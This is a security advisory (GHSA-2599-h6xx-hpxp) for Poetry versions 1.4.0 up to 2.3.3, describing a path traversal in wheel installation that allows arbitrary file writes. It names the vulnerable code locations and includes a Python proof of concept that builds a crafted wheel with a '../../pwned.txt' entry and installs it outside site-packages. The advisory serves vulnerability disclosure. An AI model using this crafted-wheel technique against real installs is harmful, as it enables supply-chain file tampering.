GHSA-2599-h6xx-hpxp Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write

• PyPI poetry: >= 1.4.0, < 2.3.3 → fixed in 2.3.3

Summary A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. Impact Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages. Patches Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted. Details Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path: src/poetry/installation/wheel_installer.py:47 src/poetry/installation/wheel_installer.py:59 The vulnerable sink is reachable in normal installation: src/poetry/installation/executor.py:607 No resolve() + is_relative_to() style guard is enforced before writing. POC ``` from pathlib import Path import tempfile, zipfile, sys from installer import install from installer.sources import WheelFile from poetry.installation.wheel_installer import WheelDestination root = Path(tempfile.mkdtemp(prefix="poetry-poc-")) wheel = root / "evil-0.1-py3-none-any.whl" base = root / "venv" / "lib" / "pythonX" / "site-packages" for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]: d.mkdir(parents=True, exist_ok=True) files = { "evil/__init__.py": b"", "../../pwned.txt": b"owned\n", "evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n", "evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n", } files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode() with zipfile.ZipFile(wheel, "w") as z: for k,v in files.items(): z.writestr(k,v) dest = WheelDestination( {"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")}, interpreter=sys.executable, script_kind="posix" ) with WheelFile.open(wheel) as src: install(src, dest, {"INSTALLER": b"PoC"}) out = (base / "../../pwned.txt").resolve() print("outside write:", out.exists(), out) ```